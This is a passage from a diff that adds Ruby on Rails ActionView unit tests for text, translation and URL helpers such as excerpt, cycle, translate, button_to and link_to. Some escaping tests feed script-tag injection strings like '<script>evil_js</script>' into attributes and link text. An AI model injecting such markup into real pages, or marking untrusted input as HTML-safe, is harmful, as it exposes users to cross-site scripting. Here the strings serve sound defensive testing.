+ assert_equal("...udge Allen and...", excerpt("This day was challenging for judge Allen and his colleagues.", /\ballen\b/i, :radius => 5))
+ assert_equal("...judge Allen and...", excerpt("This day was challenging for judge Allen and his colleagues.", /\ballen\b/i, :radius => 1, :separator => ' '))
+ assert_equal("...was challenging for...", excerpt("This day was challenging for judge Allen and his colleagues.", /\b(\w*allen\w*)\b/i, :radius => 5))
+ end
+
+ def test_excerpt_should_not_be_html_safe
+ assert !excerpt('This is a beautiful! morning', 'beautiful', :radius => 5).html_safe?
+ end
+
+ def test_excerpt_in_borderline_cases
+ assert_equal("", excerpt("", "", :radius => 0))
+ assert_equal("a", excerpt("a", "a", :radius => 0))
+ assert_equal("...b...", excerpt("abc", "b", :radius => 0))
+ assert_equal("abc", excerpt("abc", "b", :radius => 1))
+ assert_equal("abc...", excerpt("abcd", "b", :radius => 1))
+ assert_equal("...abc", excerpt("zabc", "b", :radius => 1))
+ assert_equal("...abc...", excerpt("zabcd", "b", :radius => 1))
+ assert_equal("zabcd", excerpt("zabcd", "b", :radius => 2))
+
+ # excerpt strips the resulting string before ap-/prepending excerpt_string.
+ # whether this behavior is meaningful when excerpt_string is not to be
+ # appended is questionable.
+ assert_equal("zabcd", excerpt(" zabcd ", "b", :radius => 4))
+ assert_equal("...abc...", excerpt("z abc d", "b", :radius => 1))
+ end
+
+ def test_excerpt_with_omission
+ assert_equal("[...]is a beautiful morn[...]", excerpt("This is a beautiful morning", "beautiful", :omission => "[...]",:radius => 5))
+ assert_equal(
+ "This is the ultimate supercalifragilisticexpialidoceous very looooooooooooooooooong looooooooooooong beautiful morning with amazing sunshine and awesome tempera[...]",
+ excerpt("This is the ultimate supercalifragilisticexpialidoceous very looooooooooooooooooong looooooooooooong beautiful morning with amazing sunshine and awesome temperatures. So what are you gonna do about it?", "very",
+ :omission => "[...]")
+ )
+ end
+
+ def test_excerpt_with_utf8
+ assert_equal("...\357\254\203ciency could not be...".force_encoding(Encoding::UTF_8), excerpt("That's why e\357\254\203ciency could not be helped".force_encoding(Encoding::UTF_8), 'could', :radius => 8))
+ end
+
+ def test_excerpt_does_not_modify_the_options_hash
+ options = { :omission => "[...]",:radius => 5 }
+ passed_options = options.dup
+ excerpt("This is a beautiful morning", "beautiful", passed_options)
+ assert_equal options, passed_options
+ end
+
+ def test_excerpt_with_separator
+ options = { :separator => ' ', :radius => 1 }
+ assert_equal('...a very beautiful...', excerpt('This is a very beautiful morning', 'very', options))
+ assert_equal('This is...', excerpt('This is a very beautiful morning', 'this', options))
+ assert_equal('...beautiful morning', excerpt('This is a very beautiful morning', 'morning', options))
+
+ options = { :separator => "\n", :radius => 0 }
+ assert_equal("...very long...", excerpt("my very\nvery\nvery long\nstring", 'long', options))
+
+ options = { :separator => "\n", :radius => 1 }
+ assert_equal("...very\nvery long\nstring", excerpt("my very\nvery\nvery long\nstring", 'long', options))
+
+ assert_equal excerpt('This is a beautiful morning', 'a'),
+ excerpt('This is a beautiful morning', 'a', separator: nil)
+ end
+
+ def test_word_wrap
+ assert_equal("my very very\nvery long\nstring", word_wrap("my very very very long string", :line_width => 15))
+ end
+
+ def test_word_wrap_with_extra_newlines
+ assert_equal("my very very\nvery long\nstring\n\nwith another\nline", word_wrap("my very very very long string\n\nwith another line", :line_width => 15))
+ end
+
+ def test_word_wrap_does_not_modify_the_options_hash
+ options = { :line_width => 15 }
+ passed_options = options.dup
+ word_wrap("some text", passed_options)
+ assert_equal options, passed_options
+ end
+
+ def test_pluralization
+ assert_equal("1 count", pluralize(1, "count"))
+ assert_equal("2 counts", pluralize(2, "count"))
+ assert_equal("1 count", pluralize('1', "count"))
+ assert_equal("2 counts", pluralize('2', "count"))
+ assert_equal("1,066 counts", pluralize('1,066', "count"))
+ assert_equal("1.25 counts", pluralize('1.25', "count"))
+ assert_equal("1.0 count", pluralize('1.0', "count"))
+ assert_equal("1.00 count", pluralize('1.00', "count"))
+ assert_equal("2 counters", pluralize(2, "count", "counters"))
+ assert_equal("0 counters", pluralize(nil, "count", "counters"))
+ assert_equal("2 people", pluralize(2, "person"))
+ assert_equal("10 buffaloes", pluralize(10, "buffalo"))
+ assert_equal("1 berry", pluralize(1, "berry"))
+ assert_equal("12 berries", pluralize(12, "berry"))
+ end
+
+ def test_cycle_class
+ value = Cycle.new("one", 2, "3")
+ assert_equal("one", value.to_s)
+ assert_equal("2", value.to_s)
+ assert_equal("3", value.to_s)
+ assert_equal("one", value.to_s)
+ value.reset
+ assert_equal("one", value.to_s)
+ assert_equal("2", value.to_s)
+ assert_equal("3", value.to_s)
+ end
+
+ def test_cycle_class_with_no_arguments
+ assert_raise(ArgumentError) { Cycle.new }
+ end
+
+ def test_cycle
+ assert_equal("one", cycle("one", 2, "3"))
+ assert_equal("2", cycle("one", 2, "3"))
+ assert_equal("3", cycle("one", 2, "3"))
+ assert_equal("one", cycle("one", 2, "3"))
+ assert_equal("2", cycle("one", 2, "3"))
+ assert_equal("3", cycle("one", 2, "3"))
+ end
+
+ def test_cycle_with_array
+ array = [1, 2, 3]
+ assert_equal("1", cycle(array))
+ assert_equal("2", cycle(array))
+ assert_equal("3", cycle(array))
+ end
+
+ def test_cycle_with_no_arguments
+ assert_raise(ArgumentError) { cycle }
+ end
+
+ def test_cycle_resets_with_new_values
+ assert_equal("even", cycle("even", "odd"))
+ assert_equal("odd", cycle("even", "odd"))
+ assert_equal("even", cycle("even", "odd"))
+ assert_equal("1", cycle(1, 2, 3))
+ assert_equal("2", cycle(1, 2, 3))
+ assert_equal("3", cycle(1, 2, 3))
+ assert_equal("1", cycle(1, 2, 3))
+ end
+
+ def test_named_cycles
+ assert_equal("1", cycle(1, 2, 3, :name => "numbers"))
+ assert_equal("red", cycle("red", "blue", :name => "colors"))
+ assert_equal("2", cycle(1, 2, 3, :name => "numbers"))
+ assert_equal("blue", cycle("red", "blue", :name => "colors"))
+ assert_equal("3", cycle(1, 2, 3, :name => "numbers"))
+ assert_equal("red", cycle("red", "blue", :name => "colors"))
+ end
+
+ def test_current_cycle_with_default_name
+ cycle("even","odd")
+ assert_equal "even", current_cycle
+ cycle("even","odd")
+ assert_equal "odd", current_cycle
+ cycle("even","odd")
+ assert_equal "even", current_cycle
+ end
+
+ def test_current_cycle_with_named_cycles
+ cycle("red", "blue", :name => "colors")
+ assert_equal "red", current_cycle("colors")
+ cycle("red", "blue", :name => "colors")
+ assert_equal "blue", current_cycle("colors")
+ cycle("red", "blue", :name => "colors")
+ assert_equal "red", current_cycle("colors")
+ end
+
+ def test_current_cycle_safe_call
+ assert_nothing_raised { current_cycle }
+ assert_nothing_raised { current_cycle("colors") }
+ end
+
+ def test_current_cycle_with_more_than_two_names
+ cycle(1,2,3)
+ assert_equal "1", current_cycle
+ cycle(1,2,3)
+ assert_equal "2", current_cycle
+ cycle(1,2,3)
+ assert_equal "3", current_cycle
+ cycle(1,2,3)
+ assert_equal "1", current_cycle
+ end
+
+ def test_default_named_cycle
+ assert_equal("1", cycle(1, 2, 3))
+ assert_equal("2", cycle(1, 2, 3, :name => "default"))
+ assert_equal("3", cycle(1, 2, 3))
+ end
+
+ def test_reset_cycle
+ assert_equal("1", cycle(1, 2, 3))
+ assert_equal("2", cycle(1, 2, 3))
+ reset_cycle
+ assert_equal("1", cycle(1, 2, 3))
+ end
+
+ def test_reset_unknown_cycle
+ reset_cycle("colors")
+ end
+
+ def test_reset_named_cycle
+ assert_equal("1", cycle(1, 2, 3, :name => "numbers"))
+ assert_equal("red", cycle("red", "blue", :name => "colors"))
+ reset_cycle("numbers")
+ assert_equal("1", cycle(1, 2, 3, :name => "numbers"))
+ assert_equal("blue", cycle("red", "blue", :name => "colors"))
+ assert_equal("2", cycle(1, 2, 3, :name => "numbers"))
+ assert_equal("red", cycle("red", "blue", :name => "colors"))
+ end
+
+ def test_cycle_no_instance_variable_clashes
+ @cycles = %w{Specialized Fuji Giant}
+ assert_equal("red", cycle("red", "blue"))
+ assert_equal("blue", cycle("red", "blue"))
+ assert_equal("red", cycle("red", "blue"))
+ assert_equal(%w{Specialized Fuji Giant}, @cycles)
+ end
+end
diff --git a/actionview/test/template/text_test.rb b/actionview/test/template/text_test.rb
new file mode 100644
index 0000000000..d899d54589
--- /dev/null
+++ b/actionview/test/template/text_test.rb
@@ -0,0 +1,17 @@
+require 'abstract_unit'
+
+class TextTest < ActiveSupport::TestCase
+ test 'formats returns symbol for recognized MIME type' do
+ assert_equal [:text], ActionView::Template::Text.new('', :text).formats
+ end
+
+ test 'formats returns string for recognized MIME type when MIME does not have symbol' do
+ foo = Mime::Type.lookup("foo")
+ assert_nil foo.to_sym
+ assert_equal ['foo'], ActionView::Template::Text.new('', foo).formats
+ end
+
+ test 'formats returns string for unknown MIME type' do
+ assert_equal ['foo'], ActionView::Template::Text.new('', 'foo').formats
+ end
+end
diff --git a/actionview/test/template/translation_helper_test.rb b/actionview/test/template/translation_helper_test.rb
new file mode 100644
index 0000000000..362f05ea70
--- /dev/null
+++ b/actionview/test/template/translation_helper_test.rb
@@ -0,0 +1,163 @@
+require 'abstract_unit'
+
+class TranslationHelperTest < ActiveSupport::TestCase
+ include ActionView::Helpers::TranslationHelper
+
+ attr_reader :request, :view
+
+ setup do
+ I18n.backend.store_translations(:en,
+ :translations => {
+ :templates => {
+ :found => { :foo => 'Foo' },
+ :array => { :foo => { :bar => 'Foo Bar' } },
+ :default => { :foo => 'Foo' }
+ },
+ :foo => 'Foo',
+ :hello => '<a>Hello World</a>',
+ :html => '<a>Hello World</a>',
+ :hello_html => '<a>Hello World</a>',
+ :interpolated_html => '<a>Hello %{word}</a>',
+ :array_html => %w(foo bar),
+ :array => %w(foo bar),
+ :count_html => {
+ :one => '<a>One %{count}</a>',
+ :other => '<a>Other %{count}</a>'
+ }
+ }
+ )
+ @view = ::ActionView::Base.new(ActionController::Base.view_paths, {})
+ end
+
+ teardown do
+ I18n.backend.reload!
+ end
+
+ def test_delegates_to_i18n_setting_the_rescue_format_option_to_html
+ I18n.expects(:translate).with(:foo, :locale => 'en', :raise=>true).returns("")
+ translate :foo, :locale => 'en'
+ end
+
+ def test_delegates_localize_to_i18n
+ @time = Time.utc(2008, 7, 8, 12, 18, 38)
+ I18n.expects(:localize).with(@time)
+ localize @time
+ end
+
+ def test_returns_missing_translation_message_wrapped_into_span
+ expected = '<span class="translation_missing" title="translation missing: en.translations.missing">Missing</span>'
+ assert_equal expected, translate(:"translations.missing")
+ assert_equal true, translate(:"translations.missing").html_safe?
+ end
+
+ def test_returns_missing_translation_message_using_nil_as_rescue_format
+ expected = 'translation missing: en.translations.missing'
+ assert_equal expected, translate(:"translations.missing", :rescue_format => nil)
+ assert_equal false, translate(:"translations.missing", :rescue_format => nil).html_safe?
+ end
+
+ def test_raises_missing_translation_message_with_raise_config_option
+ ActionView::Base.raise_on_missing_translations = true
+
+ assert_raise(I18n::MissingTranslationData) do
+ translate("translations.missing")
+ end
+ ensure
+ ActionView::Base.raise_on_missing_translations = false
+ end
+
+ def test_raises_missing_translation_message_with_raise_option
+ assert_raise(I18n::MissingTranslationData) do
+ translate(:"translations.missing", :raise => true)
+ end
+ end
+
+ def test_i18n_translate_defaults_to_nil_rescue_format
+ expected = 'translation missing: en.translations.missing'
+ assert_equal expected, I18n.translate(:"translations.missing")
+ assert_equal false, I18n.translate(:"translations.missing").html_safe?
+ end
+
+ def test_translation_returning_an_array
+ expected = %w(foo bar)
+ assert_equal expected, translate(:"translations.array")
+ end
+
+ def test_finds_translation_scoped_by_partial
+ assert_equal 'Foo', view.render(:file => 'translations/templates/found').strip
+ end
+
+ def test_finds_array_of_translations_scoped_by_partial
+ assert_equal 'Foo Bar', @view.render(:file => 'translations/templates/array').strip
+ end
+
+ def test_default_lookup_scoped_by_partial
+ assert_equal 'Foo', view.render(:file => 'translations/templates/default').strip
+ end
+
+ def test_missing_translation_scoped_by_partial
+ expected = '<span class="translation_missing" title="translation missing: en.translations.templates.missing.missing">Missing</span>'
+ assert_equal expected, view.render(:file => 'translations/templates/missing').strip
+ end
+
+ def test_translate_does_not_mark_plain_text_as_safe_html
+ assert_equal false, translate(:'translations.hello').html_safe?
+ end
+
+ def test_translate_marks_translations_named_html_as_safe_html
+ assert translate(:'translations.html').html_safe?
+ end
+
+ def test_translate_marks_translations_with_a_html_suffix_as_safe_html
+ assert translate(:'translations.hello_html').html_safe?
+ end
+
+ def test_translate_escapes_interpolations_in_translations_with_a_html_suffix
+ assert_equal '<a>Hello &lt;World&gt;</a>', translate(:'translations.interpolated_html', :word => '<World>')
+ assert_equal '<a>Hello &lt;World&gt;</a>', translate(:'translations.interpolated_html', :word => stub(:to_s => "<World>"))
+ end
+
+ def test_translate_with_html_count
+ assert_equal '<a>One 1</a>', translate(:'translations.count_html', :count => 1)
+ assert_equal '<a>Other 2</a>', translate(:'translations.count_html', :count => 2)
+ assert_equal '<a>Other &lt;One&gt;</a>', translate(:'translations.count_html', :count => '<One>')
+ end
+
+ def test_translation_returning_an_array_ignores_html_suffix
+ assert_equal ["foo", "bar"], translate(:'translations.array_html')
+ end
+
+ def test_translate_with_default_named_html
+ translation = translate(:'translations.missing', :default => :'translations.hello_html')
+ assert_equal '<a>Hello World</a>', translation
+ assert_equal true, translation.html_safe?
+ end
+
+ def test_translate_with_two_defaults_named_html
+ translation = translate(:'translations.missing', :default => [:'translations.missing_html', :'translations.hello_html'])
+ assert_equal '<a>Hello World</a>', translation
+ assert_equal true, translation.html_safe?
+ end
+
+ def test_translate_with_last_default_named_html
+ translation = translate(:'translations.missing', :default => [:'translations.missing', :'translations.hello_html'])
+ assert_equal '<a>Hello World</a>', translation
+ assert_equal true, translation.html_safe?
+ end
+
+ def test_translate_with_string_default
+ translation = translate(:'translations.missing', default: 'A Generic String')
+ assert_equal 'A Generic String', translation
+ end
+
+ def test_translate_with_array_of_string_defaults
+ translation = translate(:'translations.missing', default: ['A Generic String', 'Second generic string'])
+ assert_equal 'A Generic String', translation
+ end
+
+ def test_translate_does_not_change_options
+ options = {}
+ translate(:'translations.missing', options)
+ assert_equal({}, options)
+ end
+end
diff --git a/actionview/test/template/url_helper_test.rb b/actionview/test/template/url_helper_test.rb
new file mode 100644
index 0000000000..e0678ae1f7
--- /dev/null
+++ b/actionview/test/template/url_helper_test.rb
@@ -0,0 +1,798 @@
+# encoding: utf-8
+require 'abstract_unit'
+require 'minitest/mock'
+
+class UrlHelperTest < ActiveSupport::TestCase
+
+ # In a few cases, the helper proxies to 'controller'
+ # or request.
+ #
+ # In those cases, we'll set up a simple mock
+ attr_accessor :controller, :request
+
+ cattr_accessor :request_forgery
+ self.request_forgery = false
+
+ routes = ActionDispatch::Routing::RouteSet.new
+ routes.draw do
+ get "/" => "foo#bar"
+ get "/other" => "foo#other"
+ get "/article/:id" => "foo#article", :as => :article
+ get "/category/:category" => "foo#category"
+ end
+
+ include ActionView::Helpers::UrlHelper
+ include routes.url_helpers
+
+ include ActionView::Helpers::JavaScriptHelper
+ include Rails::Dom::Testing::Assertions::DomAssertions
+ include ActionView::Context
+ include RenderERBUtils
+
+ setup :_prepare_context
+
+ def hash_for(options = {})
+ { controller: "foo", action: "bar" }.merge!(options)
+ end
+ alias url_hash hash_for
+
+ def test_url_for_does_not_escape_urls
+ assert_equal "/?a=b&c=d", url_for(hash_for(a: :b, c: :d))
+ end
+
+ def test_url_for_with_back
+ referer = 'http://www.example.com/referer'
+ @controller = Struct.new(:request).new(Struct.new(:env).new("HTTP_REFERER" => referer))
+
+ assert_equal 'http://www.example.com/referer', url_for(:back)
+ end
+
+ def test_url_for_with_back_and_no_referer
+ @controller = Struct.new(:request).new(Struct.new(:env).new({}))
+ assert_equal 'javascript:history.back()', url_for(:back)
+ end
+
+ def test_button_to_with_straight_url
+ assert_dom_equal %{<form method="post" action="http://www.example.com" class="button_to"><input type="submit" value="Hello" /></form>}, button_to("Hello", "http://www.example.com")
+ end
+
+ def test_button_to_with_path
+ assert_dom_equal(
+ %{<form method="post" action="/article/Hello" class="button_to"><input type="submit" value="Hello" /></form>},
+ button_to("Hello", article_path("Hello".html_safe))
+ )
+ end
+
+ def test_button_to_with_straight_url_and_request_forgery
+ self.request_forgery = true
+
+ assert_dom_equal(
+ %{<form method="post" action="http://www.example.com" class="button_to"><input type="submit" value="Hello" /><input name="form_token" type="hidden" value="secret" /></form>},
+ button_to("Hello", "http://www.example.com")
+ )
+ ensure
+ self.request_forgery = false
+ end
+
+ def test_button_to_with_form_class
+ assert_dom_equal %{<form method="post" action="http://www.example.com" class="custom-class"><input type="submit" value="Hello" /></form>}, button_to("Hello", "http://www.example.com", form_class: 'custom-class')
+ end
+
+ def test_button_to_with_form_class_escapes
+ assert_dom_equal %{<form method="post" action="http://www.example.com" class="&lt;script&gt;evil_js&lt;/script&gt;"><input type="submit" value="Hello" /></form>}, button_to("Hello", "http://www.example.com", form_class: '<script>evil_js</script>')
+ end
+
+ def test_button_to_with_query
+ assert_dom_equal %{<form method="post" action="http://www.example.com/q1=v1&amp;q2=v2" class="button_to"><input type="submit" value="Hello" /></form>}, button_to("Hello", "http://www.example.com/q1=v1&q2=v2")
+ end
+
+ def test_button_to_with_html_safe_URL
+ assert_dom_equal %{<form method="post" action="http://www.example.com/q1=v1&amp;q2=v2" class="button_to"><input type="submit" value="Hello" /></form>}, button_to("Hello", "http://www.example.com/q1=v1&amp;q2=v2".html_safe)
+ end
+
+ def test_button_to_with_query_and_no_name
+ assert_dom_equal %{<form method="post" action="http://www.example.com?q1=v1&amp;q2=v2" class="button_to"><input type="submit" value="http://www.example.com?q1=v1&amp;q2=v2" /></form>}, button_to(nil, "http://www.example.com?q1=v1&q2=v2")
+ end
+
+ def test_button_to_with_javascript_confirm
+ assert_dom_equal(
+ %{<form method="post" action="http://www.example.com" class="button_to"><input data-confirm="Are you sure?" type="submit" value="Hello" /></form>},
+ button_to("Hello", "http://www.example.com", data: { confirm: "Are you sure?" })
+ )
+ end
+
+ def test_button_to_with_javascript_disable_with
+ assert_dom_equal(
+ %{<form method="post" action="http://www.example.com" class="button_to"><input data-disable-with="Greeting..." type="submit" value="Hello" /></form>},
+ button_to("Hello", "http://www.example.com", data: { disable_with: "Greeting..." })
+ )
+ end
+
+ def test_button_to_with_remote_and_form_options
+ assert_dom_equal(
+ %{<form method="post" action="http://www.example.com" class="custom-class" data-remote="true" data-type="json"><input type="submit" value="Hello" /></form>},
+ button_to("Hello", "http://www.example.com", remote: true, form: { class: "custom-class", "data-type" => "json" })
+ )
+ end
+
+ def test_button_to_with_remote_and_javascript_confirm
+ assert_dom_equal(
+ %{<form method="post" action="http://www.example.com" class="button_to" data-remote="true"><input data-confirm="Are you sure?" type="submit" value="Hello" /></form>},
+ button_to("Hello", "http://www.example.com", remote: true, data: { confirm: "Are you sure?" })
+ )
+ end
+
+ def test_button_to_with_remote_and_javascript_disable_with
+ assert_dom_equal(
+ %{<form method="post" action="http://www.example.com" class="button_to" data-remote="true"><input data-disable-with="Greeting..." type="submit" value="Hello" /></form>},
+ button_to("Hello", "http://www.example.com", remote: true, data: { disable_with: "Greeting..." })
+ )
+ end
+
+ def test_button_to_with_remote_false
+ assert_dom_equal(
+ %{<form method="post" action="http://www.example.com" class="button_to"><input type="submit" value="Hello" /></form>},
+ button_to("Hello", "http://www.example.com", remote: false)
+ )
+ end
+
+ def test_button_to_enabled_disabled
+ assert_dom_equal(
+ %{<form method="post" action="http://www.example.com" class="button_to"><input type="submit" value="Hello" /></form>},
+ button_to("Hello", "http://www.example.com", disabled: false)
+ )
+ assert_dom_equal(
+ %{<form method="post" action="http://www.example.com" class="button_to"><input disabled="disabled" type="submit" value="Hello" /></form>},
+ button_to("Hello", "http://www.example.com", disabled: true)
+ )
+ end
+
+ def test_button_to_with_method_delete
+ assert_dom_equal(
+ %{<form method="post" action="http://www.example.com" class="button_to"><input type="hidden" name="_method" value="delete" /><input type="submit" value="Hello" /></form>},
+ button_to("Hello", "http://www.example.com", method: :delete)
+ )
+ end
+
+ def test_button_to_with_method_get
+ assert_dom_equal(
+ %{<form method="get" action="http://www.example.com" class="button_to"><input type="submit" value="Hello" /></form>},
+ button_to("Hello", "http://www.example.com", method: :get)
+ )
+ end
+
+ def test_button_to_with_block
+ assert_dom_equal(
+ %{<form method="post" action="http://www.example.com" class="button_to"><button type="submit"><span>Hello</span></button></form>},
+ button_to("http://www.example.com") { content_tag(:span, 'Hello') }
+ )
+ end
+
+ def test_button_to_with_params
+ assert_dom_equal(
+ %{<form action="http://www.example.com" class="button_to" method="post"><input type="submit" value="Hello" /><input type="hidden" name="foo" value="bar" /><input type="hidden" name="baz" value="quux" /></form>},
+ button_to("Hello", "http://www.example.com", params: {foo: :bar, baz: "quux"})
+ )
+ end
+
+ def test_link_tag_with_straight_url
+ assert_dom_equal %{<a href="http://www.example.com">Hello</a>}, link_to("Hello", "http://www.example.com")
+ end
+
+ def test_link_tag_without_host_option
+ assert_dom_equal(%{<a href="/">Test Link</a>}, link_to('Test Link', url_hash))
+ end
+
+ def test_link_tag_with_host_option
+ hash = hash_for(host: "www.example.com")
+ expected = %{<a href="http://www.example.com/">Test Link</a>}
+ assert_dom_equal(expected, link_to('Test Link', hash))
+ end
+
+ def test_link_tag_with_query
+ expected = %{<a href="http://www.example.com?q1=v1&amp;q2=v2">Hello</a>}
+ assert_dom_equal expected, link_to("Hello", "http://www.example.com?q1=v1&q2=v2")
+ end
+
+ def test_link_tag_with_query_and_no_name
+ expected = %{<a href="http://www.example.com?q1=v1&amp;q2=v2">http://www.example.com?q1=v1&amp;q2=v2</a>}
+ assert_dom_equal expected, link_to(nil, "http://www.example.com?q1=v1&q2=v2")
+ end
+
+ def test_link_tag_with_back
+ env = {"HTTP_REFERER" => "http://www.example.com/referer"}
+ @controller = Struct.new(:request).new(Struct.new(:env).new(env))
+ expected = %{<a href="#{env["HTTP_REFERER"]}">go back</a>}
+ assert_dom_equal expected, link_to('go back', :back)
+ end
+
+ def test_link_tag_with_back_and_no_referer
+ @controller = Struct.new(:request).new(Struct.new(:env).new({}))
+ link = link_to('go back', :back)
+ assert_dom_equal %{<a href="javascript:history.back()">go back</a>}, link
+ end
+
+ def test_link_tag_with_img
+ link = link_to("<img src='/favicon.jpg' />".html_safe, "/")
+ expected = %{<a href="/"><img src='/favicon.jpg' /></a>}
+ assert_dom_equal expected, link
+ end
+
+ def test_link_with_nil_html_options
+ link = link_to("Hello", url_hash, nil)
+ assert_dom_equal %{<a href="/">Hello</a>}, link
+ end
+
+ def test_link_tag_with_custom_onclick
+ link = link_to("Hello", "http://www.example.com", onclick: "alert('yay!')")
+ expected = %{<a href="http://www.example.com" onclick="alert(&#39;yay!&#39;)">Hello</a>}
+ assert_dom_equal expected, link
+ end
+
+ def test_link_tag_with_javascript_confirm
+ assert_dom_equal(
+ %{<a href="http://www.example.com" data-confirm="Are you sure?">Hello</a>},
+ link_to("Hello", "http://www.example.com", data: { confirm: "Are you sure?" })
+ )
+ assert_dom_equal(
+ %{<a href="http://www.example.com" data-confirm="You cant possibly be sure, can you?">Hello</a>},
+ link_to("Hello", "http://www.example.com", data: { confirm: "You cant possibly be sure, can you?" })
+ )
+ assert_dom_equal(
+ %{<a href="http://www.example.com" data-confirm="You cant possibly be sure,\n can you?">Hello</a>},
+ link_to("Hello", "http://www.example.com", data: { confirm: "You cant possibly be sure,\n can you?" })
+ )
+ end
+
+ def test_link_to_with_remote
+ assert_dom_equal(
+ %{<a href="http://www.example.com" data-remote="true">Hello</a>},
+ link_to("Hello", "http://www.example.com", remote: true)
+ )
+ end
+
+ def test_link_to_with_remote_false
+ assert_dom_equal(
+ %{<a href="http://www.example.com">Hello</a>},
+ link_to("Hello", "http://www.example.com", remote: false)
+ )
+ end
+
+ def test_link_to_with_symbolic_remote_in_non_html_options
+ assert_dom_equal(
+ %{<a href="/" data-remote="true">Hello</a>},
+ link_to("Hello", hash_for(remote: true), {})
+ )
+ end
+
+ def test_link_to_with_string_remote_in_non_html_options
+ assert_dom_equal(
+ %{<a href="/" data-remote="true">Hello</a>},
+ link_to("Hello", hash_for('remote' => true), {})
+ )
+ end
+
+ def test_link_tag_using_post_javascript
+ assert_dom_equal(
+ %{<a href="http://www.example.com" data-method="post" rel="nofollow">Hello</a>},
+ link_to("Hello", "http://www.example.com", method: :post)
+ )
+ end
+
+ def test_link_tag_using_delete_javascript
+ assert_dom_equal(
+ %{<a href="http://www.example.com" rel="nofollow" data-method="delete">Destroy</a>},
+ link_to("Destroy", "http://www.example.com", method: :delete)
+ )
+ end
+
+ def test_link_tag_using_delete_javascript_and_href
+ assert_dom_equal(
+ %{<a href="\#" rel="nofollow" data-method="delete">Destroy</a>},
+ link_to("Destroy", "http://www.example.com", method: :delete, href: '#')
+ )
+ end
+
+ def test_link_tag_using_post_javascript_and_rel
+ assert_dom_equal(
+ %{<a href="http://www.example.com" data-method="post" rel="example nofollow">Hello</a>},
+ link_to("Hello", "http://www.example.com", method: :post, rel: 'example')
+ )
+ end
+
+ def test_link_tag_using_post_javascript_and_confirm
+ assert_dom_equal(
+ %{<a href="http://www.example.com" data-method="post" rel="nofollow" data-confirm="Are you serious?">Hello</a>},
+ link_to("Hello", "http://www.example.com", method: :post, data: { confirm: "Are you serious?" })
+ )
+ end
+
+ def test_link_tag_using_delete_javascript_and_href_and_confirm
+ assert_dom_equal(
+ %{<a href="\#" rel="nofollow" data-confirm="Are you serious?" data-method="delete">Destroy</a>},
+ link_to("Destroy", "http://www.example.com", method: :delete, href: '#', data: { confirm: "Are you serious?" })
+ )
+ end
+
+ def test_link_tag_with_block
+ assert_dom_equal %{<a href="/"><span>Example site</span></a>},
+ link_to('/') { content_tag(:span, 'Example site') }
+ end
+
+ def test_link_tag_with_block_and_html_options
+ assert_dom_equal %{<a class="special" href="/"><span>Example site</span></a>},
+ link_to('/', class: "special") { content_tag(:span, 'Example site') }
+ end
+
+ def test_link_tag_using_block_and_hash
+ assert_dom_equal(
+ %{<a href="/"><span>Example site</span></a>},
+ link_to(url_hash) { content_tag(:span, 'Example site') }
+ )
+ end
+
+ def test_link_tag_using_block_in_erb
+ out = render_erb %{<%= link_to('/') do %>Example site<% end %>}
+ assert_equal '<a href="/">Example site</a>', out
+ end
+
+ def test_link_tag_with_html_safe_string
+ assert_dom_equal(
+ %{<a href="/article/Gerd_M%C3%BCller">Gerd Müller</a>},
+ link_to("Gerd Müller", article_path("Gerd_Müller".html_safe))
+ )
+ end
+
+ def test_link_tag_escapes_content
+ assert_dom_equal %{<a href="/">Malicious &lt;script&gt;content&lt;/script&gt;</a>},
+ link_to("Malicious <script>content</script>", "/")
+ end
+
+ def test_link_tag_does_not_escape_html_safe_content
+ assert_dom_equal %{<a href="/">Malicious <script>content</script></a>},
+ link_to("Malicious <script>content</script>".html_safe, "/")
+ end
+
+ def test_link_to_unless
+ assert_equal "Showing", link_to_unless(true, "Showing", url_hash)
+
+ assert_dom_equal %{<a href="/">Listing</a>},
+ link_to_unless(false, "Listing", url_hash)
+
+ assert_equal "<strong>Showing</strong>",
+ link_to_unless(true, "Showing", url_hash) { |name|
+ "<strong>#{name}</strong>".html_safe
+ }
+
+ assert_equal "test",
+ link_to_unless(true, "Showing", url_hash) {
+ "test"
+ }
+
+ assert_equal %{&lt;b&gt;Showing&lt;/b&gt;}, link_to_unless(true, "<b>Showing</b>", url_hash)
+ assert_equal %{<a href="/">&lt;b&gt;Showing&lt;/b&gt;</a>}, link_to_unless(false, "<b>Showing</b>", url_hash)
+ assert_equal %{<b>Showing</b>}, link_to_unless(true, "<b>Showing</b>".html_safe, url_hash)
+ assert_equal %{<a href="/"><b>Showing</b></a>}, link_to_unless(false, "<b>Showing</b>".html_safe, url_hash)
+ end
+
+ def test_link_to_if
+ assert_equal "Showing", link_to_if(false, "Showing", url_hash)
+ assert_dom_equal %{<a href="/">Listing</a>}, link_to_if(true, "Listing", url_hash)
+ end
+
+ def request_for_url(url, opts = {})
+ env = Rack::MockRequest.env_for("http://www.example.com#{url}", opts)
+ ActionDispatch::Request.new(env)
+ end
+
+ def test_current_page_with_http_head_method
+ @request = request_for_url("/", :method => :head)
+ assert current_page?(url_hash)
+ assert current_page?("http://www.example.com/")
+ end
+
+ def test_current_page_with_simple_url
+ @request = request_for_url("/")
+ assert current_page?(url_hash)
+ assert current_page?("http://www.example.com/")
+ end
+
+ def test_current_page_ignoring_params
+ @request = request_for_url("/?order=desc&page=1")
+
+ assert current_page?(url_hash)
+ assert current_page?("http://www.example.com/")
+ end
+
+ def test_current_page_with_params_that_match
+ @request = request_for_url("/?order=desc&page=1")
+
+ assert current_page?(hash_for(order: "desc", page: "1"))
+ assert current_page?("http://www.example.com/?order=desc&page=1")
+ end
+
+ def test_current_page_with_not_get_verb
+ @request = request_for_url("/events", method: :post)
+
+ assert !current_page?('/events')
+ end
+
+ def test_current_page_with_escaped_params
+ @request = request_for_url("/category/administra%c3%a7%c3%a3o")
+
+ assert current_page?(controller: 'foo', action: 'category', category: 'administração')
+ end
+
+ def test_current_page_with_escaped_params_with_different_encoding
+ @request = request_for_url("/")
+ @request.stub(:path, "/category/administra%c3%a7%c3%a3o".force_encoding(Encoding::ASCII_8BIT)) do
+ assert current_page?(:controller => 'foo', :action => 'category', category: 'administração')
+ assert current_page?("http://www.example.com/category/administra%c3%a7%c3%a3o")
+ end
+ end
+
+ def test_current_page_with_double_escaped_params
+ @request = request_for_url("/category/administra%c3%a7%c3%a3o?callback_url=http%3a%2f%2fexample.com%2ffoo")
+
+ assert current_page?(controller: 'foo', action: 'category', category: 'administração', callback_url: 'http://example.com/foo')
+ end
+
+ def test_link_unless_current
+ @request = request_for_url("/")
+
+ assert_equal "Showing",
+ link_to_unless_current("Showing", url_hash)
+ assert_equal "Showing",
